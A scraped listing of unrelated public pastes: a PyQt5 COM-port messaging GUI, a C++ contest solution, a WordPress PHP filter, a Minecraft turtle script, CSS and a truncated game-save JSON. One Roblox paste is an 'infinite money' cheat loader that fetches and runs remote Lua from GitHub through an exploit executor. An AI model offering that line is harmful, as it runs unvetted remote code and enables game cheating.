QtWidgets.QFrame(self.centralwidget) + self.vLine = QtWidgets.QFrame(self.centralwidget) + self.gridLayoutWidget = QtWidgets.QWidget(self.centralwidget) + self.gridLayout = QtWidgets.QGridLayout(self.gridLayoutWidget) + self.btn_accept_output = QtWidgets.QPushButton(self.gridLayoutWidget) + self.btn_noaccept_output = QtWidgets.QPushButton(self.gridLayoutWidget) + self.btn_clear_output = QtWidgets.QPushButton(self.gridLayoutWidget) + self.btn_send_input = QtWidgets.QPushButton(self.centralwidget) + self.btn_clear_input = QtWidgets.QPushButton(self.centralwidget) + self.combobox_ports = QtWidgets.QComboBox(self.centralwidget) + self.lbl_com_ports = QtWidgets.QLabel(self.centralwidget) + self.lbl_debug = QtWidgets.QLabel(self.centralwidget) + self.txt_debug = QtWidgets.QTextEdit(self.centralwidget) + self.btn_create_ports = QtWidgets.QPushButton(self.centralwidget) + self.combobox_speed = QtWidgets.QComboBox(self.centralwidget) + self.lbl_com_ports_state = QtWidgets.QLabel(self.centralwidget) + self.lbl_input_state = QtWidgets.QLabel(self.centralwidget) + self.lbl_input_state_2 = QtWidgets.QLabel(self.centralwidget) + self.txt_input_state = QtWidgets.QTextBrowser(self.centralwidget) + self.txt_output_state = QtWidgets.QTextBrowser(self.centralwidget) + # InitInformationAboutComPortState + self.update_state_text(self.txt_input_state, self.input_port.port_name) + self.update_state_text(self.txt_output_state, self.output_port.port_name) + + def setupUi(self, mainWindow): + mainWindow.setObjectName(""mainWindow"") + mainWindow.setEnabled(True) + mainWindow.resize(805, 585) + mainWindow.setMouseTracking(False) + mainWindow.setStyleSheet(""background-color: rgb(255, 234, 179);"") + + self.centralwidget.setObjectName(""centralwidget"") + + self.lbl_input.setGeometry(QtCore.QRect(108, 30, 175, 30)) + font = QtGui.QFont() + font.setPointSize(14) + font.setBold(True) + font.setWeight(75) + self.lbl_input.setFont(font) + self.lbl_input.setStyleSheet(""background-color: rgb(255, 234, 179);"") + self.lbl_input.setAlignment(QtCore.Qt.AlignHCenter | QtCore.Qt.AlignTop) + self.lbl_input.setObjectName(""lbl_input"") + + self.le_input_entry.setGeometry(QtCore.QRect(25, 70, 350, 40)) + font = QtGui.QFont() + font.setPointSize(11) + self.le_input_entry.setFont(font) + self.le_input_entry.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor)) + self.le_input_entry.setStyleSheet(""background-color: rgb(255, 250, 188);"") + self.le_input_entry.setMaxLength(30) + self.le_input_entry.setClearButtonEnabled(True) + self.le_input_entry.setObjectName(""le_input_entry"") + + self.lbl_input_port.setGeometry(QtCore.QRect(320, 30, 51, 30)) + font = QtGui.QFont() + font.setPointSize(10) + font.setBold(False) + font.setWeight(50) + self.lbl_input_port.setFont(font) + self.lbl_input_port.setAlignment(QtCore.Qt.AlignCenter) + self.lbl_input_port.setObjectName(""lbl_input_port"") + + self.lbl_output.setGeometry(QtCore.QRect(510, 30, 175, 30)) + font = QtGui.QFont() + font.setPointSize(14) + font.setBold(True) + font.setWeight(75) + self.lbl_output.setFont(font) + self.lbl_output.setStyleSheet(""background-color: rgb(255, 234, 179);"") + self.lbl_output.setAlignment(QtCore.Qt.AlignCenter) + self.lbl_output.setObjectName(""lbl_output"") + + self.le_output_entry.setGeometry(QtCore.QRect(425, 70, 350, 40)) + font = QtGui.QFont() + font.setPointSize(11) + self.le_output_entry.setFont(font) + self.le_output_entry.setStyleSheet(""background-color: rgb(255, 250, 188);"") + self.le_output_entry.setReadOnly(True) + self.le_output_entry.setObjectName(""le_output_entry"") + + self.lbl_output_port.setGeometry(QtCore.QRect(720, 30, 51, 30)) + font = QtGui.QFont() + font.setPointSize(10) + font.setBold(False) + font.setWeight(50) + self.lbl_output_port.setFont(font) + self.lbl_output_port.setAlignment(QtCore.Qt.AlignCenter) + self.lbl_output_port.setObjectName(""lbl_output_port"") + + self.lbl_accept_flag.setGeometry(QtCore.QRect(435, 30, 55, 30)) + font = QtGui.QFont() + font.setPointSize(10) + self.lbl_accept_flag.setFont(font) + self.lbl_accept_flag.setObjectName(""lbl_accept_flag"") + + self.hLine.setGeometry(QtCore.QRect(0, 182, 801, 20)) + self.hLine.setFrameShape(QtWidgets.QFrame.HLine) + self.hLine.setFrameShadow(QtWidgets.QFrame.Sunken) + self.hLine.setObjectName(""hLine"") + + self.vLine.setGeometry(QtCore.QRect(400, 0, 3, 600)) + self.vLine.setFrameShape(QtWidgets.QFrame.VLine) + self.vLine.setFrameShadow(QtWidgets.QFrame.Sunken) + self.vLine.setObjectName(""vLine"") + + self.gridLayoutWidget.setGeometry(QtCore.QRect(430, 120, 341, 61)) + self.gridLayoutWidget.setObjectName(""gridLayoutWidget"") + + self.gridLayout.setContentsMargins(0, 0, 0, 0) + self.gridLayout.setObjectName(""gridLayout"") + + sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Maximum) + sizePolicy.setHorizontalStretch(0) + sizePolicy.setVerticalStretch(0) + sizePolicy.setHeightForWidth(self.btn_accept_output.sizePolicy().hasHeightForWidth()) + self.btn_accept_output.setSizePolicy(sizePolicy) + font = QtGui.QFont() + font.setPointSize(11) + self.btn_accept_output.setFont(font) + self.btn_accept_output.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor)) + self.btn_accept_output.setMouseTracking(False) + self.btn_accept_output.setStyleSheet(""background-color: rgb(79, 198, 0);"") + self.btn_accept_output.setIconSize(QtCore.QSize(20, 20)) + self.btn_accept_output.setObjectName(""btn_accept_output"") + self.gridLayout.addWidget(self.btn_accept_output, 0, 0, 1, 1) + + sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Maximum) + sizePolicy.setHorizontalStretch(0) + sizePolicy.setVerticalStretch(0) + sizePolicy.setHeightForWidth(self.btn_noaccept_output.sizePolicy().hasHeightForWidth()) + self.btn_noaccept_output.setSizePolicy(sizePolicy) + font = QtGui.QFont() + font.setPointSize(11) + self.btn_noaccept_output.setFont(font) + self.btn_noaccept_output.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor)) + self.btn_noaccept_output.setStyleSheet(""background-color: rgb(230, 230, 0);"") + self.btn_noaccept_output.setObjectName(""btn_noaccept_output"") + self.gridLayout.addWidget(self.btn_noaccept_output, 0, 1, 1, 1) + + sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Maximum) + sizePolicy.setHorizontalStretch(0) + sizePolicy.setVerticalStretch(0) + sizePolicy.setHeightForWidth(self.btn_clear_output.sizePolicy().hasHeightForWidth()) + self.btn_clear_output.setSizePolicy(sizePolicy) + font = QtGui.QFont() + font.setPointSize(11) + self.btn_clear_output.setFont(font) + self.btn_clear_output.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor)) + self.btn_clear_output.setMouseTracking(False) + self.btn_clear_output.setStyleSheet(""background-color: rgb(239, 0, 0);"") + self.btn_clear_output.setObjectName(""btn_clear_output"") + self.gridLayout.addWidget(self.btn_clear_output, 0, 2, 1, 1) + + self.btn_send_input.setGeometry(QtCore.QRect(70, 137, 93, 31)) + font = QtGui.QFont() + font.setPointSize(11) + self.btn_send_input.setFont(font) + self.btn_send_input.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor)) + self.btn_send_input.setMouseTracking(False) + self.btn_send_input.setStyleSheet(""background-color: rgb(79, 198, 0);"") + self.btn_send_input.setObjectName(""btn_send_input"") + + self.btn_clear_input.setGeometry(QtCore.QRect(230, 137, 93, 31)) + font = QtGui.QFont() + font.setPointSize(11) + self.btn_clear_input.setFont(font) + self.btn_clear_input.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor)) + self.btn_clear_input.setMouseTracking(False) + self.btn_clear_input.setStyleSheet(""background-color: rgb(239, 0, 0);"") + self.btn_clear_input.setObjectName(""btn_clear_input"") + + self.combobox_ports.setGeometry(QtCore.QRect(30, 244, 180, 30)) + font = QtGui.QFont() + font.setPointSize(11) + self.combobox_ports.setFont(font) + self.combobox_ports.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor)) + self.combobox_ports.setStyleSheet(""background-color: rgb(255, 250, 188);"") + self.combobox_ports.setObjectName(""combobox_ports"") + self.combobox_ports.addItem("""") + self.combobox_ports.addItem("""") + + self.lbl_com_ports.setGeometry(QtCore.QRect(30, 210, 320, 20)) + font = QtGui.QFont() + font.setPointSize(12) + font.setBold(True) + font.setWeight(75) + self.lbl_com_ports.setFont(font) + self.lbl_com_ports.setAlignment(QtCore.Qt.AlignCenter) + self.lbl_com_ports.setObjectName(""lbl_com_ports"") + + self.lbl_debug.setGeometry(QtCore.QRect(430, 210, 345, 30)) + font = QtGui.QFont() + font.setPointSize(12) + font.setBold(True) + font.setWeight(75) + self.lbl_debug.setFont(font) + self.lbl_debug.setAlignment(QtCore.Qt.AlignCenter) + self.lbl_debug.setObjectName(""lbl_debug"") + + self.txt_debug.setGeometry(QtCore.QRect(444, 250, 321, 300)) + font = QtGui.QFont() + font.setPointSize(10) + self.txt_debug.setFont(font) + self.txt_debug.setStyleSheet(""background-color: rgb(255, 250, 188);"") + self.txt_debug.setReadOnly(True) + self.txt_debug.setObjectName(""txt_debug"") + + self.btn_create_ports.setGeometry(QtCore.QRect(229, 254, 141, 50)) + font = QtGui.QFont() + font.setPointSize(11) + self.btn_create_ports.setFont(font) + self.btn_create_ports.setStyleSheet(""background-color: rgb(79, 198, 0);"") + self.btn_create_ports.setObjectName(""btn_create_ports"") + + self.combobox_speed.setGeometry(QtCore.QRect(30, 290, 180, 30)) + font = QtGui.QFont() + font.setPointSize(11) + self.combobox_speed.setFont(font) + self.combobox_speed.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor)) + self.combobox_speed.setStyleSheet(""background-color: rgb(255, 250, 188);"") + self.combobox_speed.setObjectName(""combobox_speed"") + self.combobox_speed.addItem("""") + self.combobox_speed.addItem("""") + self.combobox_speed.addItem("""") + self.combobox_speed.addItem("""") + self.combobox_speed.addItem("""") + self.combobox_speed.addItem("""") + self.combobox_speed.addItem("""") + self.combobox_speed.addItem("""") + self.combobox_speed.addItem("""") + self.combobox_speed.addItem("""") + self.combobox_speed.addItem("""") + self.combobox_speed.addItem("""") + self.combobox_speed.addItem("""") + self.combobox_speed.addItem("""") + + self.lbl_com_ports_state.setGeometry(QtCore.QRect(30, 340, 320, 20)) + font = QtGui.QFont() + font.setPointSize(12) + font.setBold(True) + font.setWeight(75) + self.lbl_com_ports_state.setFont(font) + self.lbl_com_ports_state.setAlignment(QtCore.Qt.AlignCenter) + self.lbl_com_ports_state.setObjectName(""lbl_com_ports_state"") + + self.lbl_input_state.setGeometry(QtCore.QRect(40, 370, 150, 30)) + font = QtGui.QFont() + font.setPointSize(12) + font.setBold(True) + font.setWeight(75) + self.lbl_input_state.setFont(font) + self.lbl_input_state.setAlignment(QtCore.Qt.AlignCenter) + self.lbl_input_state.setObjectName(""lbl_input_state"") + + self.lbl_input_state_2.setGeometry(QtCore.QRect(210, 370, 150, 30)) + font = QtGui.QFont() + font.setPointSize(12) + font.setBold(True) + font.setWeight(75) + self.lbl_input_state_2.setFont(font) + self.lbl_input_state_2.setAlignment(QtCore.Qt.AlignCenter) + self.lbl_input_state_2.setObjectName(""lbl_input_state_2"") + + self.txt_input_state.setGeometry(QtCore.QRect(40, 410, 150, 140)) + font = QtGui.QFont() + font.setPointSize(10) + self.txt_input_state.setFont(font) + self.txt_input_state.setStyleSheet(""background-color: rgb(255, 250, 188);"") + self.txt_input_state.setObjectName(""txt_input_state"") + + self.txt_output_state.setGeometry(QtCore.QRect(210, 410, 150, 140)) + font = QtGui.QFont() + font.setPointSize(10) + self.txt_output_state.setFont(font) + self.txt_output_state.setStyleSheet(""background-color: rgb(255, 250, 188);"") + self.txt_output_state.setObjectName(""txt_output_state"") + mainWindow.setCentralWidget(self.centralwidget) + + self.retranslateUi(mainWindow) + QtCore.QMetaObject.connectSlotsByName(mainWindow) + + def combo_box_ports_changed(self): + selected_text = self.combobox_ports.currentText() + if selected_text == ""COM2 <=> COM3"": + if self.input_port_name == ""COM2"" and self.output_port_name == ""COM3"": + self.change_port_name_flag = False + else: + self.logger(f""Changed a new pair of COM-ports: COM2, COM3"") + self.change_port_name_flag = True + self.input_port_name = ""COM2"" + self.output_port_name = ""COM3"" + elif selected_text == ""COM1 <=> COM4"": + if self.input_port_name == ""COM1"" and self.output_port_name == ""COM4"": + self.change_port_name_flag = False + else: + self.logger(f""Changed a new pair of COM-ports: COM1, COM4"") + self.change_port_name_flag = True + self.input_port_name = ""COM1"" + self.output_port_name = ""COM4"" + + def combo_box_speed_changed(self): + old_ports_speed: int = self.ports_baudrate + selected_text = self.combobox_speed.currentText() + match = re.search(r'(\d+)', selected_text) + + if match: + self.ports_baudrate = int(match.group()) + else: + print(""ComboBoxSpeedError"") + + if old_ports_speed == self.ports_baudrate: + self.change_port_speed_flag = False + else: + self.logger(f""Baudrate has been changed from {old_ports_speed} to {self.ports_baudrate} baud"") + self.change_port_speed_flag = True + + def logger(self, data: str): + self.txt_debug.append(f""{data}"") + self.txt_debug.append(""------------------------------------------------"") + + def create_pair_ports(self): + print(self.input_port_name) + print(self.output_port_name) + + if (self.change_port_name_flag or self.change_port_speed_flag) and self.input_port.init_flag: + self.close_pair_ports() + + if (self.input_port_name != ""????"" and self.ports_baudrate != 0 and + (self.change_port_name_flag or self.change_port_speed_flag)): + self.input_port.port_name = self.input_port_name + self.input_port.baudrate = self.ports_baudrate + self.update_state_text(self.txt_input_state, self.input_port.port_name) + # Create input COM-port + self.input_port.SetParamCOMPort() + self.lbl_input_port.setText(self.input_port_name) + self.logger(f""Create input port {self.input_port_name}"") + + if (self.output_port_name != ""????"" and self.ports_baudrate != 0 and + (self.change_port_name_flag or self.change_port_speed_flag)): + self.output_port.port_name = self.output_port_name + self.output_port.baudrate = self.ports_baudrate + self.update_state_text(self.txt_output_state, self.output_port.port_name) + # Create output COM-port + self.output_port.SetParamCOMPort() + self.lbl_output_port.setText(self.output_port_name) + self.logger(f""Create input port {self.output_port_name}"") + + def close_pair_ports(self): + if self.accept_flag: + self.noaccept_data() + self.input_port.CloseCOMPort() + self.output_port.CloseCOMPort() + self.total_numbers_bytes = 0 + self.numbers_bytes = 0 + self.logger(f""Close COM-ports: {self.input_port_name}, {self.output_port_name}"") + + def send_data(self): + if self.input_port.init_flag: + data = self.le_input_entry.text() + self.input_port.WriteToPort(data) + self.numbers_bytes = len(data) + self.total_numbers_bytes += self.numbers_bytes + self.update_state_text(self.txt_input_state, self.input_port.port_name) + self.logger(f""The message has been sent"") + self.clear_input_data() + else: + self.logger(""The input port was not created"") + + def clear_input_data(self): + self.logger(f""The input field has been cleared"") + self.le_input_entry.clear() + + def thread_read_data(self): + while True: + data = self.output_port.ReadFromPort() + if data != b'': + self.upgrade_text(data.decode('utf-8')) + + if self.accept_flag is False: + break + + def upgrade_text(self, data: str): + self.le_output_entry.setText(self.le_output_entry.text() + data) + self.txt_output_state.append( + f""Port: \n{self.output_port.port_name} \nBaudrate: \n{self.output_port.baudrate} бод\n"" + + f""One: {self.numbers_bytes} bytes\nAll: {self.total_numbers_bytes} bytes"") + + def accept_data(self): + if self.output_port.init_flag: + self.accept_flag = True + self.logger(""The read THREAD has been created"") + thread = threading.Thread(target=self.thread_read_data) + thread.daemon = True + thread.start() + self.lbl_accept_flag.setText(""TRUE"") + else: + self.logger(""The output port was not created"") + + def noaccept_data(self): + self.accept_flag = False + self.logger(""The read THREAD has been delete"") + self.lbl_accept_flag.setText(""FALSE"") + + def clear_output_data(self): + self.logger(f""The output field has been cleared"") + self.le_output_entry.clear() + + def update_state_text(self, widget: QtWidgets.QTextBrowser, port_name: str): + widget.setText(""Port: \n"" + port_name + ""\n"" + + ""Baudrate: \n"" + f""{self.ports_baudrate} бод\n"" + + f""One: {self.numbers_bytes} bytes\n"" + + f""All: {self.total_numbers_bytes} bytes"") + + def add_function(self): + self.combobox_ports.activated.connect(lambda: self.combo_box_ports_changed()) + self.combobox_speed.activated.connect(lambda: self.combo_box_speed_changed()) + self.btn_send_input.clicked.connect(lambda: self.send_data()) + self.btn_clear_input.clicked.connect(lambda: self.clear_input_data()) + self.le_input_entry.returnPressed.connect(lambda: self.send_data()) + self.btn_accept_output.clicked.connect(lambda: self.accept_data()) + self.btn_noaccept_output.clicked.connect(lambda: self.noaccept_data()) + self.btn_clear_output.clicked.connect(lambda: self.clear_output_data()) + self.btn_create_ports.clicked.connect(lambda: self.create_pair_ports()) + + def retranslateUi(self, mainWindow): + _translate = QtCore.QCoreApplication.translate + mainWindow.setWindowTitle(_translate(""mainWindow"", ""COM ports program"")) + self.lbl_input.setText(_translate(""mainWindow"", ""Input"")) + self.le_input_entry.setPlaceholderText(_translate(""mainWindow"", ""Введите сообщение для отправки:"")) + self.lbl_input_port.setText(_translate(""mainWindow"", ""????"")) + self.lbl_output.setText(_translate(""mainWindow"", ""Output"")) + self.le_output_entry.setPlaceholderText(_translate(""mainWindow"", ""Сообщение:"")) + self.lbl_output_port.setText(_translate(""mainWindow"", ""????"")) + self.lbl_accept_flag.setText(_translate(""mainWindow"", ""FALSE"")) + self.btn_accept_output.setText(_translate(""mainWindow"", ""Accept"")) + self.btn_noaccept_output.setText(_translate(""mainWindow"", ""No accept"")) + self.btn_clear_output.setText(_translate(""mainWindow"", ""Clear"")) + self.btn_send_input.setText(_translate(""mainWindow"", ""Send"")) + self.btn_clear_input.setText(_translate(""mainWindow"", ""Clear"")) + self.combobox_ports.setItemText(0, _translate(""mainWindow"", ""COM1 <=> COM4"")) + self.combobox_ports.setItemText(1, _translate(""mainWindow"", ""COM2 <=> COM3"")) + self.lbl_com_ports.setText(_translate(""mainWindow"", ""Настройка COM-портов:"")) + self.lbl_debug.setText(_translate(""mainWindow"", ""DEBUG"")) + self.txt_debug.setPlaceholderText(_translate(""mainWindow"", ""Ход работы программы:"")) + self.btn_create_ports.setText(_translate(""mainWindow"", ""Create pair"")) + self.combobox_speed.setItemText(0, _translate(""mainWindow"", ""50 бод"")) + self.combobox_speed.setItemText(1, _translate(""mainWindow"", ""75 бод"")) + self.combobox_speed.setItemText(2, _translate(""mainWindow"", ""110 бод"")) + self.combobox_speed.setItemText(3, _translate(""mainWindow"", ""150 бод"")) + self.combobox_speed.setItemText(4, _translate(""mainWindow"", ""300 бод"")) + self.combobox_speed.setItemText(5, _translate(""mainWindow"", ""600 бод"")) + self.combobox_speed.setItemText(6, _translate(""mainWindow"", ""1200 бод"")) + self.combobox_speed.setItemText(7, _translate(""mainWindow"", ""2400 бод"")) + self.combobox_speed.setItemText(8, _translate(""mainWindow"", ""4800 бод"")) + self.combobox_speed.setItemText(9, _translate(""mainWindow"", ""9600 бод"")) + self.combobox_speed.setItemText(10, _translate(""mainWindow"", ""19200 бод"")) + self.combobox_speed.setItemText(11, _translate(""mainWindow"", ""38400 бод"")) + self.combobox_speed.setItemText(12, _translate(""mainWindow"", ""57500 бод"")) + self.combobox_speed.setItemText(13, _translate(""mainWindow"", ""115200 бод"")) + self.lbl_com_ports_state.setText(_translate(""mainWindow"", ""Состояния COM-портов:"")) + self.lbl_input_state.setText(_translate(""mainWindow"", ""Input"")) + self.lbl_input_state_2.setText(_translate(""mainWindow"", ""Output"")) + self.txt_input_state.setPlaceholderText(_translate(""mainWindow"", ""Состояние:"")) + self.txt_output_state.setPlaceholderText(_translate(""mainWindow"", ""Состояние:"")) +" +jSPgUVdG,Greenville Infinite Money EVENT,bennytrt2,Lua,Wednesday 18th of October 2023 05:01:42 PM CDT,"--- Recommened electron for pc, and fluxus if mobile + +loadstring(game:HttpGet(('https://raw.githubusercontent.com/cool83birdcarfly02six/GreenVilleEvent/main/README.md'),true))()" +YQWAWK0y,Untitled,AlexCoder12345,C++,Wednesday 18th of October 2023 04:44:28 PM CDT,"#include +using namespace std; + +int main() { + ios_base::sync_with_stdio(false); + cin.tie(nullptr); + cout.tie(nullptr); + + int t; cin >> t; + while (t--){ + long long n; cin >> n; + map tb; + for (int i = 0; i < n; ++i){ + long long x; cin >> x; + tb[x]++; + } + vector skills; + for (auto &p : tb){ + skills.push_back(p.second); + } + sort(skills.begin(),skills.end()); + long long l = -1; long long r = n; + while (l < r - 1){ + long long m = (l + r)/2; + bool ok = true; + + auto it = lower_bound(skills.begin(),skills.end(),m); + + if (it != skills.end()){ + if (*it == m){ + if (skills.size() - 1 < m){ + ok = false; + } + } else { + if (skills.size() < m){ + ok = false; + } + } + } else { + ok = false; + } + + if (ok){ + l = m; + } else { + r = m; + } + } + cout << l << endl; + } +}" +bSk0ELyr,[site-reviews] set the name/email values from an URL parameter,geminilabs,PHP,Wednesday 18th of October 2023 04:29:24 PM CDT,"/** + * Set the name and email values from URL parameters (?review_name=&review_email=) + * Example: https://domain.com?review_name=Jane&review_email=jane@xxx.com + * @param array $fields + * @return array + */ +add_filter('site-reviews/review-form/fields', function ($fields) { + $keys = [ + 'email' => filter_input(INPUT_GET, 'review_email', FILTER_VALIDATE_EMAIL), + 'name' => filter_input(INPUT_GET, 'review_name'), + ]; + foreach ($keys as $key => $value) { + if (isset($fields[$key])) { + $fields[$key]['value'] = $value; + } + } + return $fields; +});" +77dz78rV,HV Farm Turtle immer 100k auf Lager,MagmaLP,Lua,Wednesday 18th of October 2023 04:14:45 PM CDT,"os.loadAPI(""ocs/apis/sensor"") +sen = sensor.wrap(""back"") + +LV_Solar_Panel_Amount = 0 + +s = sen.getTargets() +function getS() + for v, k in pairs(s) do + if k.Name == ""ME Wireless Access Point"" then + target = v + end + end + return target +end + +f = getS() +s1 = sen.getTargetDetails(target) +for v, k in pairs(s1.Items) do + + ---ME Inventar Abfrage---- + if k.Name == ""Low Voltage Solar Array"" then + LV_Solar_Panel_Amount = k.Size + end +end + +while true do + if LV_Solar_Panel_Amount >= 100000 then + turtle.suck() + turtle.dropUp() + sleep(10) + turtle.suckUp() + turtle.drop() + else + print(""Schalter ist an, aber es sind nicht genug LVs auf Lager damit die Farm starten kann, es werden 100k benötigt! Nächste Abfrage startet in 1 Minute, Farm startet immer nur bei 100k LVs damit sie nicht immer läuft, um Performance zu sparen."") + print(""LVs auf Lager: "" ..LV_Solar_Panel_Amount) + sleep(60) + end + os.reboot() +end" +S6ZQtjPh,Splitter CSS file,andruhovski,CSS,Wednesday 18th of October 2023 03:42:49 PM CDT,".image>img { + aspect-ratio: 1/1.41; +} + +#spinner { + display: none; +} + +.spinner { + width: 48px; + height: 48px; + border: 5px solid gray; + border-bottom-color: transparent; + border-radius: 50%; + display: inline-block; + box-sizing: border-box; + animation: rotation 1s linear infinite; +} + +@keyframes rotation { + 0% { + transform: rotate(0deg); + } + + 100% { + transform: rotate(360deg); + } +}" +VGHTw7jb,OnlyExz0's Data,azimuths,JSON,Wednesday 18th of October 2023 03:24:29 PM CDT,"{""Stats"":{""Key5"":{""ObjectName"":""Key5"",""ObjectClass"":""StringValue"",""ObjectValue"":""5""},""MaxRank"":{""ObjectName"":""MaxRank"",""ObjectClass"":""IntValue"",""ObjectValue"":""24""},""mapmove1"":{""ObjectName"":""mapmove1"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""TrainingEXP"":{""ObjectName"":""TrainingEXP"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Key12"":{""ObjectName"":""Key12"",""ObjectClass"":""StringValue"",""ObjectValue"":""C""},""Blind"":{""ObjectName"":""Blind"",""ObjectClass"":""NumberValue"",""ObjectValue"":""0""},""CanRank"":{""ObjectName"":""CanRank"",""ObjectClass"":""IntValue"",""ObjectValue"":""1""},""TailedBeastLevel"":{""ObjectName"":""TailedBeastLevel"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""CombatEXP"":{""ObjectName"":""CombatEXP"",""ObjectClass"":""IntValue"",""ObjectValue"":""53""},""Personality"":{""ObjectName"":""Personality"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""GripCount"":{""ObjectName"":""GripCount"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Marking"":{""ObjectName"":""Marking"",""ObjectClass"":""IntValue"",""ObjectValue"":""14""},""SkinColor"":{""ObjectName"":""SkinColor"",""ObjectClass"":""IntValue"",""ObjectValue"":""5""},""RP"":{""ObjectName"":""RP"",""ObjectClass"":""IntValue"",""ObjectValue"":""2""},""ToggleAccessories"":{""ObjectName"":""ToggleAccessories"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Slot11"":{""ObjectName"":""Slot11"",""ObjectClass"":""StringValue"",""ObjectValue"":""Chain Clone""},""KPos"":{""ObjectName"":""KPos"",""ObjectClass"":""IntValue"",""ObjectValue"":""1""},""LINDAMINISTARTUP"":{""ObjectName"":""LINDAMINISTARTUP"",""ObjectClass"":""IntValue"",""ObjectValue"":""5""},""Slot4"":{""ObjectName"":""Slot4"",""ObjectClass"":""StringValue"",""ObjectValue"":""Uzumaki Chains""},""Slot9"":{""ObjectName"":""Slot9"",""ObjectClass"":""StringValue"",""ObjectValue"":""Chakra Scalpel""},""Version"":{""ObjectName"":""Version"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""HairColorR"":{""ObjectName"":""HairColorR"",""ObjectClass"":""IntValue"",""ObjectValue"":""52""},""EyeColorG"":{""ObjectName"":""EyeColorG"",""ObjectClass"":""IntValue"",""ObjectValue"":""219""},""CurseMarkLevel"":{""ObjectName"":""CurseMarkLevel"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Key2"":{""ObjectName"":""Key2"",""ObjectClass"":""StringValue"",""ObjectValue"":""2""},""Genjutsu"":{""ObjectName"":""Genjutsu"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""SwordSave"":{""ObjectName"":""SwordSave"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""BijuuXP"":{""ObjectName"":""BijuuXP"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""SeenDeaths"":{""ObjectName"":""SeenDeaths"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""BonusSkillPoints"":{""ObjectName"":""BonusSkillPoints"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""CColorB"":{""ObjectName"":""CColorB"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""PosY"":{""ObjectName"":""PosY"",""ObjectClass"":""IntValue"",""ObjectValue"":""37""},""SPR"":{""ObjectName"":""SPR"",""ObjectClass"":""IntValue"",""ObjectValue"":""12""},""BijuuConvo"":{""ObjectName"":""BijuuConvo"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""jincooldown"":{""ObjectName"":""jincooldown"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Ken"":{""ObjectName"":""Ken"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Scar"":{""ObjectName"":""Scar"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Slot12"":{""ObjectName"":""Slot12"",""ObjectClass"":""StringValue"",""ObjectValue"":""Shuriken Fan""},""RecentTrainings"":{""ObjectName"":""RecentTrainings"",""ObjectClass"":""StringValue"",""ObjectValue"":""{}""},""EyeColorR"":{""ObjectName"":""EyeColorR"",""ObjectClass"":""IntValue"",""ObjectValue"":""233""},""HairColorG"":{""ObjectName"":""HairColorG"",""ObjectClass"":""IntValue"",""ObjectValue"":""42""},""RaidCD"":{""ObjectName"":""RaidCD"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Slot6"":{""ObjectName"":""Slot6"",""ObjectClass"":""StringValue"",""ObjectValue"":""Self Heal""},""HairColorB"":{""ObjectName"":""HairColorB"",""ObjectClass"":""IntValue"",""ObjectValue"":""39""},""Gender"":{""ObjectName"":""Gender"",""ObjectClass"":""IntValue"",""ObjectValue"":""1""},""Kids"":{""ObjectName"":""Kids"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""SecondaryWep"":{""ObjectName"":""SecondaryWep"",""ObjectClass"":""StringValue"",""ObjectValue"":""Kunai""},""PosZ"":{""ObjectName"":""PosZ"",""ObjectClass"":""IntValue"",""ObjectValue"":""57""},""UnlockedCloak"":{""ObjectName"":""UnlockedCloak"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""CloakTime"":{""ObjectName"":""CloakTime"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""BijuuRelation"":{""ObjectName"":""BijuuRelation"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Prestige"":{""ObjectName"":""Prestige"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Elo"":{""ObjectName"":""Elo"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""TailedBeastMastered"":{""ObjectName"":""TailedBeastMastered"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Mangekyo"":{""ObjectName"":""Mangekyo"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""LastGripped"":{""ObjectName"":""LastGripped"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""LastAge"":{""ObjectName"":""LastAge"",""ObjectClass"":""IntValue"",""ObjectValue"":""1697658095""},""Key11"":{""ObjectName"":""Key11"",""ObjectClass"":""StringValue"",""ObjectValue"":""z""},""AwakenCD"":{""ObjectName"":""AwakenCD"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""LastStomach"":{""ObjectName"":""LastStomach"",""ObjectClass"":""IntValue"",""ObjectValue"":""93""},""ChakraArmorRGB"":{""ObjectName"":""ChakraArmorRGB"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Mastered"":{""ObjectName"":""Mastered"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""HandsignTraining"":{""ObjectName"":""HandsignTraining"",""ObjectClass""